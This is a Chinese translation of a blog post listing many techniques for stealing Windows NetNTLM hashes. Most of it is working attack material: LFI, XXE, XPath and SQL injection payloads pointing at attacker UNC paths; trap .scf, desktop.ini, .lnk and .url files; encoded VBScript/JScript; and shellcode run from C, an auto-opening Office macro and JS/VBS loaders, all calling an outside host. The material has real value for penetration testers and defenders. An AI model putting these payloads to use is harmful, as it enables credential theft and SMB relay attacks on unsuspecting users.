花式窃取NetNTLM哈希的方法

原文:https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

译者:Serene

一次我和@m3g9tr0n 在讨论使用responder来窃取NetNTLM哈希的多种方法,经过试验后,我决定写下这篇文章,记录在Windows系统中的一些很酷的发现,在这些情况下SMBRelay攻击也是有可能发生的。

LFI

PHP中的include()函数将会解析网络路径

http://host.tld/?page=//11.22.33.44/@OsandaMalith

XXE

在这里我使用“php://filter/convert.base64-encode/resource=”来解析网络路径。

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" > ]> <root> <name></name> <tel></tel> <email>OUT&xxe;OUT</email> <password></password> </root>

XPath Injection

通常,doc()函数被用在带外XPath注入中,因此它可以用来解析网络路径。

http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')

MySQL Injection

我写过一篇关于MySQL带外注入的完整文章(https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/),可以在互联网上应用,你也可以使用“INTO OUTFILE”来解析网络路径。

http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00

MSSQL

由于支持查看堆栈,我们可以调用存储过程。

';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q

Regsvr32

在对.sct文件进行试验时,我还意外地发现了这个。

regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll

Batch

这里有很多可以探索的方法:

echo 1 > //192.168.0.1/abc pushd \\192.168.0.1\abc cmd /k \\192.168.0.1\abc cmd /c \\192.168.0.1\abc start \\192.168.0.1\abc mkdir \\192.168.0.1\abc type\\192.168.0.1\abc dir\\192.168.0.1\abc find, findstr, [x]copy, move, replace, del, rename and many more!

Auto-Complete

你只需要输入'\\ host \',auto-complete会在资源管理器和运行对话框下执行。

Autorun.inf

从Windows 7开始,此功能被禁用了,不过你可以通过更改Autorun的组策略来启用它,记得要确保Autorun.inf文件是隐藏的。

[autorun] open=\\35.164.153.224\setup.exe icon=something.ico action=open Setup.exe

Shell Command Files

你可以把这个存储为.scf文件,一旦打开文件夹资源管理器,它将尝试解析图标的网络路径。

[Shell] Command=2 IconFile=\\35.164.153.224\test.ico [Taskbar] Command=ToggleDesktop

Desktop.ini

desktop.ini文件包含了已应用到该文件夹的图标的信息。我们可以用这个解析网络路径,一旦你打开文件夹,就能得到哈希值。

mkdir openMe attrib +s openMe cd openMe echo [.ShellClassInfo] > desktop.ini echo IconResource=\\192.168.0.1\aa >> desktop.ini attrib +s +h desktop.ini

在Windows XP系统中,desktop.ini文件使用“IcondFile”而不是“IconResource”。

[.ShellClassInfo] IconFile=\\192.168.0.1\aa IconIndex=1337

Shortcut Files (.lnk)

我们可以创建一个包含网络路径的快捷方式,只要你打开快捷方式,Windows就会尝试解析网络路径,你还可以指定一个快捷键来触发这个快捷方式。至于图标,你可以给出一个Windows二进制文件的名称,或者从位于system32目录中的shell32.dll,Ieframe.dll,imageres.dll,pnidui.dll或wmploc.dll中选择一个图标。

et shl = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") currentFolder = shl.CurrentDirectory Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk")) sc.TargetPath = "\\35.164.153.224\@OsandaMalith" sc.WindowStyle = 1 sc.HotKey = "Ctrl+Alt+O" sc.IconLocation = "%windir%\system32\shell32.dll, 3" sc.Description = "I will Steal your Hashes" sc.Save

Powershell版本

$objShell = New-Object -ComObject WScript.Shell $lnk = $objShell.CreateShortcut("StealMyHashes.lnk") $lnk.TargetPath = "\\35.164.153.224\@OsandaMalith" $lnk.WindowStyle = 1 $lnk.IconLocation = "%windir%\system32\shell32.dll, 3" $lnk.Description = "I will Steal your Hashes" $lnk.HotKey = "Ctrl+Alt+O" $lnk.Save()

Internet Shortcuts (.url)

Windows中的另一个快捷方式是Internet快捷方式,你可以将下面这个存储为.url文件:

echo [InternetShortcut] > stealMyHashes.url echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url

Autorun with Registry

你可以在以下任意一个路径中添加新的注册表项。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Powershell

Powershell中可能有许多小脚本可以解析网络路径。

Invoke-Item \\192.168.0.1\aa Get-Content \\192.168.0.1\aa Start-Process \\192.168.0.1\aa

IE

IE会解析UNC路径,例如:

<img src="\\\\192.168.0.1\\aa">

你可以在XSS下注入或在你发现的SQL注入下注入,例如:

http://host.tld/?id=-1' union select 1,'<img src="\\\\192.168.0.1\\aa">';%00

VBScript

你可以把这个保存为.vbs,在应用于WORD或EXCEL文件的宏中使用。

Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)

可以在网页中应用,不过这只适用于IE。

<html> <script type="text/Vbscript"> <!-- Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile("//192.168.0.100/aa", 1) //--> </script> </html>

下面编码的版本,你可以编码并保存为.vbe文件。

#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@

也可以把它应用在html文件中,但只适用于IE。你可以将这个保存为.hta文件,这将是一个Windows下的HTML应用程序,其中mshta.exe将执行它,默认情况下它使用IE。

<html> <script type="text/Vbscript.Encode"> <!-- #@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@ //--> </script> </html>

JScript

你可以把它保存为Windows的.js文件

var fso = new ActiveXObject("Scripting.FileSystemObject") fso.FileExists("//192.168.0.103/aa")

也可以应用于html文件,但只适用于IE,同样可以存为.hta文件

<html> <script type="text/Jscript"> <!-- var fso = new ActiveXObject("Scripting.FileSystemObject") fso.FileExists("//192.168.0.103/aa") //--> </script> </html>

这是编码的版本,可以存为.jse文件。

#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@

html版本:

<html> <script type="text/Jscript.Encode"> <!-- #@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@ //--> </script> </html>

Windows Script Files

这个存储为.wsf文件

<package> <job id="boom"> <script language="VBScript"> Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile("//192.168.0.100/aa", 1) </script> </job> </package>

Shellcode

我这里做了一个小的shellcode,使用了CreateFile,并试图读取不存在的网络路径。你可以用Responder这样的工具抓取NetNTLM哈希,shellcode可以修改,以通过网络窃取哈希,也可以执行SMBRelay攻击。

/* Title: CreateFile Shellcode Author: Osanda Malith Jayathissa (@OsandaMalith) Website: https://osandamalith.com Size: 368 Bytes */ # include <stdlib.h> # include <stdio.h> # include <string.h> # include <windows.h> int main() { char *shellcode = "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02" "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05" "\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10" "\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0" "\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8" "\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a" "\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff" "\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe" "\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b" "\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89" "\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40" "\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff" "\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b" "\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc" "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff" "\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f" "\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7" "\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf" "\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32" "\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05"; DWORD oldProtect; wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode)); BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect); if (!ret) { fprintf(stderr, "%s", "Error Occured"); return EXIT_FAILURE; } ((void(*)(void))shellcode)(); VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect); return EXIT_SUCCESS; }

https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html

Shellcode Inside Macros

这是上面的shellcode,应用在了WORD/EXCEL宏中,你可以在VB6应用程序中使用相同的代码。

' Author : Osanda Malith Jayathissa (@OsandaMalith) ' Title: Shellcode to request a non-existing network path ' Website: https://osandamalith ' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html ' This is a word/excel macro. This can be used in vb6 applications as well #If Vba7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _ ByVal lpThreadAttributes As Long, _ ByVal dwStackSize As Long, _ ByVal lpStartAddress As LongPtr, _ lpParameter As Long, _ ByVal dwCreationFlags As Long, _ lpThreadId As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _ ByVal Destination As LongPtr, _ ByRef Source As Any, _ ByVal Length As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" ( _ ByVal lpThreadAttributes As Long, _ ByVal dwStackSize As Long, _ ByVal lpStartAddress As Long, _ lpParameter As Long, _ ByVal dwCreationFlags As Long, _ lpThreadId As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" ( _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" ( _ ByVal Destination As Long, _ ByRef Source As Any, _ ByVal Length As Long) As Long #EndIf Const MEM_COMMIT = &H1000 Const PAGE_EXECUTE_READWRITE = &H40 Sub Auto_Open() Dim source As Long, i As Long #If Vba7 Then Dim lpMemory As LongPtr, lResult As LongPtr #Else Dim lpMemory As Long, lResult As Long #EndIf Dim bShellcode(376) As Byte bShellcode(0) = 232 bShellcode(1) = 255 bShellcode(2) = 255 bShellcode(3) = 255 bShellcode(4) = 255 bShellcode(5) = 192 bShellcode(6) = 95 bShellcode(7) = 185 bShellcode(8) = 85 bShellcode(9) = 3 bShellcode(10) = 2 bShellcode(11) = 2 bShellcode(12) = 129 bShellcode(13) = 241 bShellcode(14) = 2 bShellcode(15) = 2 bShellcode(16) = 2 ..................... lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE) For i = LBound(bShellcode) To UBound(bShellcode) source = bShellcode(i) lResult = RtlMoveMemory(lpMemory + i, source, 1) Next i lResult = CreateThread(0, 0, lpMemory, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba

Shellcode Inside VBS and JS

subTee用JS和DynamicWrapperX做了很多的研究,你可以用DynamicWrapperX DLL找到POC。 http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html 基于此,我已经将shellcode移植到JS和VBS,有趣的是我们可以在HTML和.hta格式中嵌入JScript或VBScript中的shellcode。 注意下面的shellcode指向我的IP。 JScript

/* * Author : Osanda Malith Jayathissa (@OsandaMalith) * Title: Shellcode to request a non-existing network path * Website: https://osandamalith.com * Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html * Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 */ DX = new ActiveXObject("DynamicWrapperX"); DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u"); DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" ); DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u"); var MEM_COMMIT = 0x1000; var PAGE_EXECUTE_READWRITE = 0x40; var sc = [ 0xe8, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x5f, 0xb9, 0x55, 0x03, 0x02, 0x02, 0x81, 0xf1, 0x02, 0x02, 0x02, 0x02, 0x83, 0xc7, 0x1d, 0x33, 0xf6, 0xfc, 0x8a, 0x07, 0x3c, 0x05, 0x0f, 0x44, 0xc6, 0xaa, 0xe2, 0xf6, 0xe8, 0x05, 0x05, 0x05, 0x05, 0x5e, 0x8b, 0xfe, 0x81, 0xc6, 0x29, 0x01, 0x05, 0x05, 0xb9, 0x02, 0x05, 0x05, 0x05, 0xfc, 0xad, 0x01, 0x3c, 0x07, 0xe2, 0xfa, 0x56, 0xb9, 0x8d, 0x10, 0xb7, 0xf8, 0xe8, 0x5f, 0x05, 0x05, 0x05, 0x68, 0x31, 0x01, 0x05, 0x05, 0xff, 0xd0, 0xb9, 0xe0, 0x53, 0x31, 0x4b, 0xe8, 0x4e, 0x05, 0x05, 0x05, 0xb9, 0xac, 0xd5, 0xaa, 0x88, 0x8b, 0xf0, 0xe8, 0x42, 0x05, 0x05, 0x05, 0x6a, 0x05, 0x68, 0x80, 0x05, 0x05, 0x05, 0x6a, 0x03, 0x6a, 0x05, 0x6a, 0x01, 0x68, 0x05, 0x05, 0x05, 0x80, 0x68, 0x3e, 0x01, 0x05, 0x05, 0xff, 0xd0, 0x6a, 0x05, 0xff, 0xd6, 0x33, 0xc0, 0x5e, 0xc3, 0x33, 0xd2, 0xeb, 0x10, 0xc1, 0xca, 0x0d, 0x3c, 0x61, 0x0f, 0xbe, 0xc0, 0x7c, 0x03, 0x83, 0xe8, 0x20, 0x03, 0xd0, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xea, 0x8b, 0xc2, 0xc3, 0x8d, 0x41, 0xf8, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0x89, 0x4d, 0xf4, 0x64, 0xa1, 0x30, 0x05, 0x05, 0x05, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x45, 0xec, 0x8b, 0xf8, 0x8b, 0xcf, 0xe8, 0xd2, 0xff, 0xff, 0xff, 0x8b, 0x70, 0x18, 0x8b, 0x3f, 0x85, 0xf6, 0x74, 0x4f, 0x8b, 0x46, 0x3c, 0x8b, 0x5c, 0x30, 0x78, 0x85, 0xdb, 0x74, 0x44, 0x8b, 0x4c, 0x33, 0x0c, 0x03, 0xce, 0xe8, 0x96, 0xff, 0xff, 0xff, 0x8b, 0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18, 0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c, 0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75, 0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7, 0x0c, 0x30, 0x8b, 0x44, 0x33, 0x1c, 0x8d, 0x04, 0x88, 0x8b, 0x04, 0x30, 0x03, 0xc6, 0xeb, 0xdf, 0x21, 0x05, 0x05, 0x05, 0x50, 0x05, 0x05, 0x05, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x05, 0x2f, 0x2f, 0x33, 0x35, 0x2e, 0x31, 0x36, 0x34, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x32, 0x32, 0x34, 0x2f, 0x61, 0x61, 0x05]; var scLocation = DX.VirtualAlloc(0, sc.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); for(var i = 0; i < sc.length; i++) DX.NumPut(sc[i],scLocation,i); var thread = DX.CreateThread(0,0,scLocation,0,0);

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js

VBScript

' Author : Osanda Malith Jayathissa (@OsandaMalith) ' Title: Shellcode to request a non-existing network path ' Website: https://osandamalith.com ' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html ' Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 Set DX = CreateObject("DynamicWrapperX") DX.Register "kernel32.dll", "VirtualAlloc", "i=luuu", "r=u" DX.Register "kernel32.dll","CreateThread","i=uullu","r=u" DX.Register "kernel32.dll", "WaitForSingleObject", "i=uu", "r=u" Const MEM_COMMIT = &H1000 Const PAGE_EXECUTE_READWRITE = &H40 shellcode = Array( _ &He8, &Hff, &Hff, &Hff, &Hff, &Hc0, &H5f, &Hb9, &H55, &H03, &H02, &H02, &H81, &Hf1, &H02, &H02, &H02, &H02, &H83, &Hc7, _ &H1d, &H33, &Hf6, &Hfc, &H8a, &H07, &H3c, &H05, &H0f, &H44, &Hc6, &Haa, &He2, &Hf6, &He8, &H05, &H05, &H05, &H05, &H5e, _ &H8b, &Hfe, &H81, &Hc6, &H29, &H01, &H05, &H05, &Hb9, &H02, &H05, &H05, &H05, &Hfc, &Had, &H01, &H3c, &H07, &He2, &Hfa, _ &H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _ &H53, &H31, &H4b, &He8, &H4e, &H05, &H05, &H05, &Hb9, &Hac, &Hd5, &Haa, &H88, &H8b, &Hf0, &He8, &H42, &H05, &H05, &H05, _ &H6a, &H05, &H68, &H80, &H05, &H05, &H05, &H6a, &H03, &H6a, &H05, &H6a, &H01, &H68, &H05, &H05, &H05, &H80, &H68, &H3e, _ &H01, &H05, &H05, &Hff, &Hd0, &H6a, &H05, &Hff, &Hd6, &H33, &Hc0, &H5e, &Hc3, &H33, &Hd2, &Heb, &H10, &Hc1, &Hca, &H0d, _ &H3c, &H61, &H0f, &Hbe, &Hc0, &H7c, &H03, &H83, &He8, &H20, &H03, &Hd0, &H41, &H8a, &H01, &H84, &Hc0, &H75, &Hea, &H8b, _ &Hc2, &Hc3, &H8d, &H41, &Hf8, &Hc3, &H55, &H8b, &Hec, &H83, &Hec, &H14, &H53, &H56, &H57, &H89, &H4d, &Hf4, &H64, &Ha1, _ &H30, &H05, &H05, &H05, &H89, &H45, &Hfc, &H8b, &H45, &Hfc, &H8b, &H40, &H0c, &H8b, &H40, &H14, &H89, &H45, &Hec, &H8b, _ &Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _ &H8b, &H5c, &H30, &H78, &H85, &Hdb, &H74, &H44, &H8b, &H4c, &H33, &H0c, &H03, &Hce, &He8, &H96, &Hff, &Hff, &Hff, &H8b, _ &H4c, &H33, &H20, &H89, &H45, &Hf8, &H33, &Hc0, &H03, &Hce, &H89, &H4d, &Hf0, &H89, &H45, &Hfc, &H39, &H44, &H33, &H18, _ &H76, &H22, &H8b, &H0c, &H81, &H03, &Hce, &He8, &H75, &Hff, &Hff, &Hff, &H03, &H45, &Hf8, &H39, &H45, &Hf4, &H74, &H1c, _ &H8b, &H45, &Hfc, &H8b, &H4d, &Hf0, &H40, &H89, &H45, &Hfc, &H3b, &H44, &H33, &H18, &H72, &Hde, &H3b, &H7d, &Hec, &H75, _ &H9c, &H33, &Hc0, &H5f, &H5e, &H5b, &Hc9, &Hc3, &H8b, &H4d, &Hfc, &H8b, &H44, &H33, &H24, &H8d, &H04, &H48, &H0f, &Hb7, _ &H0c, &H30, &H8b, &H44, &H33, &H1c, &H8d, &H04, &H88, &H8b, &H04, &H30, &H03, &Hc6, &Heb, &Hdf, &H21, &H05, &H05, &H05, _ &H50, &H05, &H05, &H05, &H6b, &H65, &H72, &H6e, &H65, &H6c, &H33, &H32, &H2e, &H64, &H6c, &H6c, &H05, &H2f, &H2f, &H33, _ &H35, &H2e, &H31, &H36, &H34, &H2e, &H31, &H35, &H33, &H2e, &H32, &H32, &H34, &H2f, &H61, &H61, &H05) scLocation = DX.VirtualAlloc(0, UBound(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE) For i =LBound(shellcode) to UBound(shellcode) DX.NumPut shellcode(i),scLocation,i Next thread = DX.CreateThread (0,0,scLocation,0,0)

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs Windows系统中可能还有很多其他的方法,还值得大家去找寻!

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2017-12-08

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